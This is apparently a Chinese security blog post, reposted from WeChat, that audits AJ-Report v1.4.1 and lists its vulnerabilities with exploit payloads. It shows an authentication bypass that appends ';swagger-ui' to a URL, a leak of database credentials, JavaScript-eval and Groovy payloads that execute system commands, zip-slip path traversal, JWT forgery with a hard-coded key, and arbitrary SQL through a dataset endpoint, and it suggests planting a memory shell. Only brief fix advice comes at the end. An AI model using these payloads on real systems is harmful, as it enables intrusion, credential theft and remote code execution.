微信公众号:黑伞安全
关注可了解更多的网络安全技术分享。如有问题或建议,请公众号留言;
如果你觉得挖不到src漏洞,希望黑伞安全知识星球对你有帮助,欢迎加入[1]
内容目录
aj-report 二次就业
0x01 filter 绕过
0x02 sql 信息泄漏
0x03 js执行命令
0x04 validationRules 命令执行
0x05 zip-slip
0x06 大屏分享信息泄漏
0x07 java代码执行
0x08 jwt 绕过登录
0x09 sql问题修复意见
aj-report 二次就业
最新先知有人发了aj-report文章,看了看,是一个filter绕过,还有jwt,竟然还没修,这是两年前发表的AJ-Report_RCE。aj-report是我两年前学习代码审计审计的第一套代码,那时候藏了一些洞没写,所以现在重新看一看。环境v1.4.1。
0x01 filter 绕过
com.anjiplus.template.gaea.business.filter.TokenFilter.java
解释 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
String uri = request.getRequestURI();
// TODO 暂时先不校验 直接放行
/*if (true) {
filterChain.doFilter(request, response);
return;
}*/
//OPTIONS直接放行
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
filterChain.doFilter(request, response);
return;
}
// swagger相关的直接放行
if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
filterChain.doFilter(request, response);
return;
}
bypass payload
POST
/dataSetParam/verification;swagger-ui/
HTTP/
1.1
这获取了URL,然后判断是否包含“swagger-ui”或着”swagger-resources”,包含直接放行。
没什么好说的,鉴权绕过。
0x02 sql 信息泄漏
com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList
解释
@GetMapping({"/pageList"}) @Permission( code = "query", name = "查询" ) @GaeaAuditLog( pageTitle = "查询", isSaveResponseData = false ) public ResponseBean pageList(P param) { IPage<T> iPage = this.getService().page(param); List<T> records = iPage.getRecords(); List<D> list = GaeaBeanUtils.copyList(records, this.getDTO().getClass()); this.pageResultHandler(list); Page<D> pageDto = new Page(); pageDto.setCurrent(iPage.getCurrent()).setRecords(list).setPages(iPage.getPages()).setTotal(iPage.getTotal()).setSize(iPage.getSize()); return this.responseSuccessWithData(pageDto); }
直接查询dataSource的信息,然后把Dto信息全部直接放回,造成泄漏
public Page<T> setRecords(List<T> records) { this.records = records; return this;}
protected List<T> records;Dto里面存在Collections集合,直接把配置信息放回出来。
结合一下,可以拿到数据库账号密码
/;
swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10
0x03 js执行命令
参考两年前发表的AJ-Report_RCE,(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w)
没有修复。
第一个点 (validationRules参数校验点)
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
boolean
verification = dataSetParamService.verification(dto.getDataSetParamDtoList(),
null
);
if
(!verification) {
throw
BusinessExceptionBuilder.build(ResponseCode.RULE_FIELDS_CHECK_ERROR);
}
看方法实现
public
Object
verification
(DataSetParamDto dataSetParamDto)
{
String validationRules = dataSetParamDto.getValidationRules();
if
(StringUtils.isNotBlank(validationRules)) {
try
{
engine.eval(validationRules);
if
(engine
instanceof
Invocable){
Invocable invocable = (Invocable) engine;
Object exec = invocable.invokeFunction(
"verification"
, dataSetParamDto);
ObjectMapper objectMapper =
new
ObjectMapper();
if
(exec
instanceof
Boolean) {
return
objectMapper.convertValue(exec, Boolean.class);
}
else
{
return
objectMapper.convertValue(exec, String.class);
}
}
然后执行。
第二个点(js脚本)
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getValueFromJs.java
public
List
<JSONObject> transform(DataSetTransformDto def,
List
<JSONObject> data) {
return
getValueFromJs(def,data);
}
private
List
<JSONObject> getValueFromJs(DataSetTransformDto def,
List
<JSONObject> data) {
String js = def.getTransformScript();
try
{
engine.
eval
(js);
if
(engine
instanceof
Invocable){
Invocable invocable = (Invocable) engine;
Object dataTransform = invocable.invokeFunction(
"dataTransform"
, data);
if
(dataTransform
instanceof
List
) {
return
(
List
<JSONObject>) dataTransform;
}
//前端js自定义的数组[{"aa":"bb"}]解析后变成{"0":{"aa":"bb"}}
ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) dataTransform;
List
<JSONObject> result =
new
ArrayList<>();
scriptObjectMirror.
forEach
((key, value) -> {
ScriptObjectMirror valueObject = (ScriptObjectMirror) value;
JSONObject jsonObject =
new
JSONObject();
jsonObject.putAll(valueObject);
result.add(jsonObject);
});
return
result;
}
这里两个地方都可以,也根本不用绕过。
poc:
{
"dynSentence"
:
"{"apiUrl":"http://127.0.0.1:9095/dataSet/testTransform","method":"GET","header":"{\"Content-Type\":\"application/json;charset=UTF-8\"}","body":""}"
,
"dataSetParamDtoList"
:[{
"paramName"
:
""
,
"paramDesc"
:
""
,
"paramType"
:
""
,
"sampleItem"
:
""
,
"mandatory"
:
true
,
"requiredFlag"
:2,
"validationRules"
:
"function dataTransform(){nvar x=java.lang.Runtime.getRuntime().exec("open -a calculator")n}"
}],
"dataSetTransformDtoList"
:[{
"transformType"
:
"js"
,
"transformScript"
:
""
}],
"setType"
:
"http"
}
0x04 validationRules 命令执行
com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification.java
@PostMapping("/verification") public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) { DataSetParamDto dto = new DataSetParamDto(); dto.setSampleItem(param.getSampleItem()); dto.setValidationRules(param.getValidationRules()); return responseSuccessWithData(dataSetParamService.verification(dto)); }其实看上面就知道,js的规则,然后走到eval。
com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)
对应实现类,有绕过,套娃就行。
dto里面设置validationRules就行。
{
"sampleItem"
:
"1"
,
"validationRules"
:
"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension("js").eval("new java.lang.ProcessBuilder('whoami').start().getInputStream();");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"
}
0x05 zip-slip
com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard.java
@PostMapping("/import/{reportCode}") @Permission(code = "import", name = "导入大屏") public ResponseBean importDashboard(@RequestParam("file") MultipartFile file, @PathVariable("reportCode") String reportCode) { reportDashboardService.importDashboard(file, reportCode); return ResponseBean.builder().build(); }对应的controller,传file流和code就好
com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard 实现类
public void importDashboard(MultipartFile file, String reportCode) { log.info("导入开始,{}", reportCode); //1.组装临时目录,/app/disk/upload/zip/临时文件夹 String path = dictPath + ZIP_PATH + UuidUtil.generateShortUuid(); //2.解压 FileUtil.decompress(file, path); // path/uuid/ File parentPath = new File(path); //获取打包的第一层目录 File firstFile = parentPath.listFiles()[0];File[] files = firstFile.listFiles();
//定义map
Map<String, String> fileMap = new HashMap<>();
String content = "";for (int i = 0; i < files.length; i++) {
File childFile = files[i];
if (JSON_PATH.equals(childFile.getName())) {
//json文件
content = FileUtil.readFile(childFile);
} else if ("image".equals(childFile.getName())) {
File[] imageFiles = childFile.listFiles();
//所有需要上传的图片
for (File imageFile : imageFiles) {
//查看是否存在此image
String fileName = imageFile.getName().split("\.")[0];
//根据fileId,从gaea_file中读出filePath
LambdaQueryWrapper<GaeaFile> queryWrapper = Wrappers.lambdaQuery();
queryWrapper.eq(GaeaFile::getFileId, fileName);
GaeaFile gaeaFile = gaeaFileService.selectOne(queryWrapper);
String uploadPath;
if (null == gaeaFile) {
GaeaFile upload = gaeaFileService.upload(imageFile);
log.info("存入图片: {}", upload.getFilePath());
uploadPath = upload.getUrlPath();
}else {
uploadPath = gaeaFile.getUrlPath();
}
fileMap.put(fileName, uploadPath);
}
}}
public static void decompress(MultipartFile zipFile, String dstPath) { try { File dir = new File(dstPath); if (!dir.exists()){ dir.mkdirs(); } String path = dir.getPath(); String absolutePath = dir.getAbsolutePath(); File file = new File(dir.getAbsolutePath() + File.separator + zipFile.getOriginalFilename()); zipFile.transferTo(file); decompress(new ZipFile(file), dstPath); //解压完删除 file.delete(); } catch (IOException e) { log.error("", e); throw BusinessExceptionBuilder.build(ResponseCode.FILE_OPERATION_FAILED, e.getMessage()); } }
没有的zipEntry进行../ 过滤,导致zip目录穿越。
然后ssh 指定私钥连接。
0x06 大屏分享信息泄漏
com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode
@GetMapping({"/detailByCode"}) @Permission(code = "detail", name = "明细") public ResponseBean detailByCode(@RequestParam("shareCode") String shareCode) { return ResponseBean.builder().data(reportShareService.detailByCode(shareCode)).build(); }对象实现类
public ReportShare detailByCode(String shareCode) { LambdaQueryWrapper<ReportShare> wrapper = Wrappers.lambdaQuery(); wrapper.eq(ReportShare::getShareCode, shareCode); wrapper.eq(ReportShare::getEnableFlag, EnableFlagEnum.ENABLE.getCodeValue()); ReportShare reportShare = selectOne(wrapper); if (null == reportShare) { throw BusinessExceptionBuilder.build(ResponseCode.REPORT_SHARE_LINK_INVALID); } //解析jwt token,获取密码 String password = JwtUtil.getPassword(reportShare.getShareToken()); if (StringUtils.isNotBlank(password)) { //md5加密返回 reportShare.setSharePassword(MD5Util.encrypt(password)); } return reportShare; }根据shareCode可以获取到查询信息,然后加密后直接放回
jwt可以直接解密
直接可以获得分享密码。
0x07 java代码执行
还是数据集那个点,走java方式。
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
对应实现类
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.DataSetTransformServiceImpl#transform
com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.GroovyTransformServiceImpl#transform
最后会来到GroovyClassLoader,进行处理,也就是我们写一个类给GroovyClassLoader加载就好了
package com.anjiplus.template.gaea.business;
import com.alibaba.fastjson.JSONObject;
import com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler;
import java.io.IOException;
import java.lang.Runtime;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;
public class test implements IGroovyHandler {
@Override
public Listtransform(List {data) throws IOException
String execResult = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\A").next();
return Arrays.asList(execResult.split("\s+"));
}
}
能写代码,那就打下内存马吧。
0x08 jwt 绕过登录
com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login
com.anji.plus.gaea.utils.JwtBean#createToken(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String)
com.anji.plus.gaea.GaeaProperties.Security#jwtSecret
这里密钥是写在依赖包下,无法修改
这一块得修改一下
jwt验证只校验用户名,这边key没法改,随便伪造
具体参考(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w)
0x09 sql问题
本质是没做用户权限校验,导致任何人都能操作,由于有filter绕过,就写出来吧
com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
还是这个点
从DTO里面获取参数,然后查询
{
"sourceCode"
:
"utf_8"
,
"dynSentence"
:
"show DATABASES"
,
"dataSetParamDtoList"
:[],
"dataSetTransformDtoList"
:[],
"setType"
:
"sql"
}
也就是可以直接利用sql修改账号密码。
修复意见
接口健全缺失,主要靠filter,一些重要的接口,权限缺失,如/dataSource、/dataSet下的接口,匿名用户也可以操作,filter建议直接使用getServletPath(),或者重写一下。
jwt的认证密钥是写在依赖包里面,无法修改.
返回包里面的DTO,把敏感字段执行加密。
原文始发于微信公众号(黑伞安全):Aj-report 二次就业
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论